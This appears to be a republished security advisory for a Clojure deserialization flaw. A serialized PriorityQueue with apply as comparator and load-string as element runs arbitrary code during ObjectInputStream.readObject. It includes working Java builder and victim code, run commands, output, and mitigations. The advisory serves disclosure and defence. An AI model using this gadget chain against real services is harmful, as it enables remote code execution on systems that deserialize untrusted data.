# Clojure: Deserialization of Untrusted Data Allows Remote Code Execution

> Source: <https://github.com/clojure/clojure/security/advisories/GHSA-x4c4-68gp-vrhc>
> Published: 2026-11-20 06:41:32+00:00

**Recommendation:** Never deserialize untrusted data with ObjectInputStream when clojure.jar is on the classpath; use allowlist-based filters or a non-Java-serialization format, since AFunction.compare runs the function.
More in the playbook "Securing agents and AI tools": <https://wpnews.pro/playbooks/agent-security>

## Repository navigation

# Deserialization of Untrusted Data Allows Remote Code Execution

This report was submitted with AI assistance

## Package

## Affected versions

## Patched versions

## Description

### Summary

Compiled Clojure functions implement `java.util.Comparator`, and `AFunction.compare` runs the function. A serialized `java.util.PriorityQueue` whose comparator is `clojure.core/apply` and whose elements are `clojure.core/load-string` and a string of Clojure source executes that source during `ObjectInputStream.readObject`, using only classes in `clojure.jar` and the JDK. Reproduced on 1.10.3, 1.11.1, 1.12.4, 1.12.6, and 1.13.0-alpha11, independent of `*read-eval*`.

### Details

### Root cause

`clojure.lang.AFunction`, the base class of every compiled Clojure function, implements `java.util.Comparator`, and its `compare` runs the function before interpreting the result:

```
src/jvm/clojure/lang/AFunction.java:18
  public abstract class AFunction extends AFn implements IObj, Comparator, Fn, Serializable {
src/jvm/clojure/lang/AFunction.java:52-53
  public int compare(Object o1, Object o2){
      Object o = invoke(o1, o2);   // the function executes here
      ...
```

`javap` on the 1.12.6 release shows this is unchanged by the fix:

``` bash
$ javap -cp clojure-1.12.6.jar clojure.lang.AFunction
public abstract class clojure.lang.AFunction extends clojure.lang.AFn
    implements clojure.lang.IObj, java.util.Comparator, clojure.lang.Fn, java.io.Serializable {
  public int compare(java.lang.Object, java.lang.Object);
```

Two functions shipped in `clojure.jar` complete the chain:

``` php
src/clj/clojure/core.clj:663-668    apply       -> (. f (applyTo (seq args)))
src/clj/clojure/core.clj:4136-4144  load-string -> load-reader -> clojure.lang.Compiler.eval
```

`java.util.PriorityQueue` is serializable, and its `readObject` rebuilds the heap with the comparator:

``` php
java.util.PriorityQueue.readObject -> heapify -> siftDownUsingComparator -> comparator.compare(e0, e1)
```

With `comparator = apply` and `queue = [load-string, ["<source>"]]`, the comparison `compare(load-string, ["<source>"])` becomes `(apply load-string ["<source>"])`, which is `(load-string "<source>")`, which hands the source to the compiler.

### Proof of concept

The gadget is composed entirely of classes shipped in `clojure.jar` (`clojure.lang.AFunction` via `clojure.core/apply` and `clojure.core/load-string`, and `clojure.lang.PersistentVector`) together with `java.util.PriorityQueue` from the JDK. No application code, third-party library, or modified class is required. The victim performs a single `ObjectInputStream.readObject` call.

Two files are used: a builder that produces the payload, and a victim that deserializes it.

### Builder

``` python
import clojure.java.api.Clojure;
import clojure.lang.IDeref;
import clojure.lang.PersistentVector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class BuildPayload {
  static Object fn(String ns, String name) { return ((IDeref) Clojure.var(ns, name)).deref(); }
  static void setField(Object t, String n, Object v) throws Exception {
    Field f = t.getClass().getDeclaredField(n); f.setAccessible(true); f.set(t, v);
  }
  public static void main(String[] args) throws Exception {
    // Attacker-supplied source: runs the OS command `id`, records it, returns a number so the
    // comparator result is well formed and deserialization completes quietly.
    String code =
        "(do (require (quote clojure.java.shell))"
      + "    (spit \"/tmp/proof.txt\""
      + "          (str \"code execution during ObjectInputStream.readObject | id=\""
      + "               (:out ((resolve (quote clojure.java.shell/sh)) \"id\")))) 0)";
    Object apply      = fn("clojure.core", "apply");       // comparator
    Object loadString = fn("clojure.core", "load-string"); // queue element 0
    Field cache = Class.forName("clojure.lang.AFunction").getField("__methodImplCache");
    cache.set(apply, null); cache.set(loadString, null);   // not serializable; clear if set
    PersistentVector arg = PersistentVector.create(new Object[]{ code }); // element 1 -> ["<source>"]
    PriorityQueue pq = new PriorityQueue(2, (Comparator) apply);
    setField(pq, "queue", new Object[]{ loadString, arg }); // set directly so build does not compare
    setField(pq, "size", 2);
    try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"))) {
      oos.writeObject(pq);
    }
    System.out.println("payload.ser (" + new File("payload.ser").length() + " bytes)");
  }
}
```

### Victim

``` python
import java.io.*;

public class Victim {
  public static void main(String[] args) throws Exception {
    String file = args.length > 0 ? args[0] : "payload.ser";
    File proof = new File("/tmp/proof.txt"); proof.delete();
    System.out.println("before readObject: /tmp/proof.txt exists = " + proof.exists());
    try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file))) {
      ois.readObject();
    } catch (Throwable t) {
      System.out.println("readObject raised " + t.getClass().getName() + " (after the code ran)");
    }
    System.out.println("after  readObject: /tmp/proof.txt exists = " + proof.exists());
    if (proof.exists())
      try (BufferedReader r = new BufferedReader(new FileReader(proof))) {
        System.out.println("proof: " + r.readLine());
      }
  }
}
```

### Build and run

The payload is built once. The `--add-opens` flag is required only to populate the queue's backing array by reflection while generating the bytes, and applies only to the builder. A serialization stream written directly, using standard serialization-gadget stream-writing techniques, needs no reflection (not shown here). The victim runs with a stock JVM and no flags.

``` bash
$ javac -cp "$(clojure -Spath)" BuildPayload.java Victim.java
$ java --add-opens java.base/java.util=ALL-UNNAMED -cp "$(clojure -Spath):." BuildPayload payload.ser (922 bytes)
```

Run against 1.12.6, the newest stable release:

``` bash
$ java -cp "$(clojure -Sdeps '{:deps {org.clojure/clojure {:mvn/version "1.12.6"}}}' -Spath):." Victim payload.ser
runtime: 1.12.6 | java: 25.0.2
before readObject: /tmp/proof.txt exists = false
after  readObject: /tmp/proof.txt exists = true
proof: code execution during ObjectInputStream.readObject | id=uid=501(neo) gid=20(staff) groups=20(staff),12(everyone),...
```

Run against 1.13.0-alpha11, the latest development release:

``` bash
$ java -cp "$(clojure -Sdeps '{:deps {org.clojure/clojure {:mvn/version "1.13.0-alpha11"}}}' -Spath):." Victim payload.ser
runtime: 1.13.0-alpha11 | java: 25.0.2
before readObject: /tmp/proof.txt exists = false
after  readObject: /tmp/proof.txt exists = true
proof: code execution during ObjectInputStream.readObject | id=uid=501(neo) gid=20(staff) groups=...
```

Before deserialization the proof file does not exist. After one `readObject`, it exists and holds the output of the OS command `id`. The deserialized value is an ordinary `PriorityQueue`, so the attack leaves no obvious trace.

The same payload was reproduced on 1.10.3, 1.11.1, 1.12.4, 1.12.6, and 1.13.0-alpha11.

### Reproduction in a clean environment

The payload was reproduced in a freshly provisioned, isolated environment to rule out any local configuration. An Ubuntu 26.04 container with no prior Clojure present was given only an official Clojure installation, using the `linux-install.sh` script from `clojure.org/guides/install_clojure` (Clojure CLI 1.12.6.1673), running `org.clojure/clojure` 1.12.6 on OpenJDK 25. Only the payload and the victim were copied in, with an identical SHA-256 on both sides. The stock victim deserialized the payload and the embedded command executed, recording the environment's own identity (`uid=0(root)`), which confirms execution inside the clean environment, on the patched release, through plain `ObjectInputStream.readObject` with no flags and no serialization filter.

### Call stack during `readObject`

```
clojure.lang.Compiler.eval(Compiler.java:7757)
clojure.lang.Compiler.load(Compiler.java:8170)
clojure.core$load_string.invoke(core.clj:4115)
clojure.core$apply.invokeStatic(core.clj:667)
clojure.lang.AFunction.compare(AFunction.java:53)
java.base/java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:712)
java.base/java.util.PriorityQueue.heapify(PriorityQueue.java:734)
java.base/java.util.PriorityQueue.readObject(PriorityQueue.java:801)
java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:445)
```

This stack was captured on a 1.12.x run, where `load-string` appears at `core.clj:4115`. In the 1.13.0-master tree cited above it is defined at `core.clj:4136`. `apply` (`core.clj:667`) and `AFunction.compare` (`AFunction.java:53`) match the cited tree.

### Mitigation

Mitigate this via one of the following:

- Do not deserialize data from untrusted sources, this is inherently dangerous.
- Per the Java guidelines on [deserialization filtering](https://docs.oracle.com/en/java/javase/17/core/serialization-filtering1.html#GUID-55BABE96-3048-4A9F-A7E6-781790FF3480) , configure either a JVM-level or stream-specific[ObjectInputFilter](https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/io/ObjectInputFilter.html) to reject the class clojure.lang.AFunction.
- Use Clojure 1.12.7 which makes Clojure functions throw on serialization and deserialization by default

### Impact

Any application that calls `ObjectInputStream.readObject` on attacker-controlled bytes with `clojure.jar` on the classpath is exposed to remote code execution, shown here by running the OS command `id`. The chain needs only `clojure.jar` and the JDK, with no application classes and no victim-side namespace state. The one precondition is that the application deserializes

attacker-controlled data. It is not stopped by the default (absent) serialization filter, nor by an `ObjectInputFilter` allowlist that admits all Clojure classes (`clojure.**`), because the function objects are `clojure.core$apply` and `clojure.core$load_string` (JVM package `clojure`). Denying `clojure.lang.AFunction` does stop it, as described under Mitigation. It is independent of

`*read-eval*`, because it reaches the compiler through `load-string` rather than the reader. Java deserialization sinks appear in RMI, JMX, object caches and session stores, and message brokers that carry serialized Java objects.
